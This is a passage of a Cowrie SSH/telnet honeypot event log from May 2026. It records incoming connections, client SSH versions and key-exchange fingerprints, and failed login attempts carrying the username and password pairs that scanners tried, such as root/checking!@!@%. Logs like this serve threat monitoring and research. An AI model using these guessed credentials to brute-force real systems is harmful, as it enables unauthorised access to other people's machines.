h-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:47:59.951833Z","src_ip":"201.77.124.248","session":"ad0ad560006b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123123.","message":"login attempt [root/a123123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:00.799324Z","src_ip":"201.77.124.248","session":"ad0ad560006b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:01.941607Z","src_ip":"201.77.124.248","session":"ad0ad560006b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.4430046081543,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:16.815775Z","src_ip":"50.6.8.71","session":"4320f8860d2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.80699682235718,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:20.615847Z","src_ip":"50.6.8.71","session":"6be3d9354865","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.938217878341675,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:22.434305Z","src_ip":"50.6.8.71","session":"d30e6cf341d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.114.229.203","src_port":33904,"dst_ip":"159.203.135.109","dst_port":23,"session":"88ca965d8c0a","protocol":"telnet","message":"New connection: 171.114.229.203:33904 (159.203.135.109:23) [session: 88ca965d8c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:24.401787Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":49936,"dst_ip":"159.203.135.109","dst_port":22,"session":"4998d1eb87e1","protocol":"ssh","message":"New connection: 50.7.136.106:49936 (159.203.135.109:22) [session: 4998d1eb87e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:34.652449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:34.657539Z","src_ip":"50.7.136.106","session":"4998d1eb87e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:34.744077Z","src_ip":"50.7.136.106","session":"4998d1eb87e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"Wangsu@2017","message":"login attempt [cloud/Wangsu@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:35.000899Z","src_ip":"50.7.136.106","session":"4998d1eb87e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:36.086771Z","src_ip":"50.7.136.106","session":"4998d1eb87e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.84464144706726,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:40.246319Z","src_ip":"171.114.229.203","session":"88ca965d8c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.74407649040222,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:48:42.264825Z","src_ip":"50.6.8.71","session":"864681016624","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":49958,"dst_ip":"159.203.135.109","dst_port":22,"session":"254bb80c33c6","protocol":"ssh","message":"New connection: 109.237.96.109:49958 (159.203.135.109:22) [session: 254bb80c33c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:03.074681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:03.089121Z","src_ip":"109.237.96.109","session":"254bb80c33c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:03.170493Z","src_ip":"109.237.96.109","session":"254bb80c33c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:03.551981Z","src_ip":"109.237.96.109","session":"254bb80c33c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:04.661080Z","src_ip":"109.237.96.109","session":"254bb80c33c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40096,"dst_ip":"10.17.0.5","dst_port":23,"session":"d512ca0550f7","protocol":"telnet","message":"New connection: 50.6.8.71:40096 (10.17.0.5:23) [session: d512ca0550f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:16.151414Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39660,"dst_ip":"10.17.0.5","dst_port":23,"session":"c02628990e0a","protocol":"telnet","message":"New connection: 50.6.8.71:39660 (10.17.0.5:23) [session: c02628990e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:28.843434Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":55682,"dst_ip":"159.203.135.109","dst_port":22,"session":"1644616b1a12","protocol":"ssh","message":"New connection: 109.172.54.111:55682 (159.203.135.109:22) [session: 1644616b1a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:39.985182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:39.989559Z","src_ip":"109.172.54.111","session":"1644616b1a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:40.106215Z","src_ip":"109.172.54.111","session":"1644616b1a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:40.418700Z","src_ip":"109.172.54.111","session":"1644616b1a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:41.520080Z","src_ip":"109.172.54.111","session":"1644616b1a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":51609,"dst_ip":"159.203.135.109","dst_port":22,"session":"382ac64bb05f","protocol":"ssh","message":"New connection: 201.77.124.248:51609 (159.203.135.109:22) [session: 382ac64bb05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:44.156175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:44.160911Z","src_ip":"201.77.124.248","session":"382ac64bb05f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:44.297673Z","src_ip":"201.77.124.248","session":"382ac64bb05f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web-user","password":"web-user","message":"login attempt [web-user/web-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:44.874967Z","src_ip":"201.77.124.248","session":"382ac64bb05f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:49:46.018650Z","src_ip":"201.77.124.248","session":"382ac64bb05f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.240814208984375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:00.083968Z","src_ip":"50.6.8.71","session":"c02628990e0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.61095356941223,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:00.762180Z","src_ip":"50.6.8.71","session":"d512ca0550f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46086,"dst_ip":"10.17.0.5","dst_port":23,"session":"d76476d8b5d6","protocol":"telnet","message":"New connection: 50.6.8.71:46086 (10.17.0.5:23) [session: d76476d8b5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:03.365858Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":57490,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3e04cc08eb5","protocol":"ssh","message":"New connection: 185.236.22.41:57490 (10.17.0.5:22) [session: f3e04cc08eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:06.358174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:06.387939Z","src_ip":"185.236.22.41","session":"f3e04cc08eb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:06.528538Z","src_ip":"185.236.22.41","session":"f3e04cc08eb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:07.621553Z","src_ip":"185.236.22.41","session":"f3e04cc08eb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:08.777418Z","src_ip":"185.236.22.41","session":"f3e04cc08eb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":42676,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f83af062c72","protocol":"ssh","message":"New connection: 193.37.70.224:42676 (159.203.135.109:22) [session: 3f83af062c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:19.608876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:19.649240Z","src_ip":"193.37.70.224","session":"3f83af062c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:19.712517Z","src_ip":"193.37.70.224","session":"3f83af062c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:20.102696Z","src_ip":"193.37.70.224","session":"3f83af062c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:21.200604Z","src_ip":"193.37.70.224","session":"3f83af062c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41580,"dst_ip":"10.17.0.5","dst_port":23,"session":"806573230db9","protocol":"telnet","message":"New connection: 50.6.8.71:41580 (10.17.0.5:23) [session: 806573230db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:26.946336Z"}
{"eventid":"cowrie.session.closed","duration":32.48909568786621,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:35.854831Z","src_ip":"50.6.8.71","session":"d76476d8b5d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.115.50","src_port":10556,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3c35c4f3b07","protocol":"telnet","message":"New connection: 186.4.115.50:10556 (10.17.0.5:23) [session: a3c35c4f3b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:42.184705Z"}
{"eventid":"cowrie.session.closed","duration":13.13495683670044,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:55.319526Z","src_ip":"186.4.115.50","session":"a3c35c4f3b07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53986,"dst_ip":"10.17.0.5","dst_port":23,"session":"10c62449831c","protocol":"telnet","message":"New connection: 50.6.8.71:53986 (10.17.0.5:23) [session: 10c62449831c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:50:56.758896Z"}
{"eventid":"cowrie.session.closed","duration":33.741697788238525,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:00.687887Z","src_ip":"50.6.8.71","session":"806573230db9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.37.254","src_port":64234,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfe0a112b617","protocol":"ssh","message":"New connection: 45.43.37.254:64234 (159.203.135.109:22) [session: cfe0a112b617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:13.066028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:51:13.070861Z","src_ip":"45.43.37.254","session":"cfe0a112b617","protocol":"ssh"}
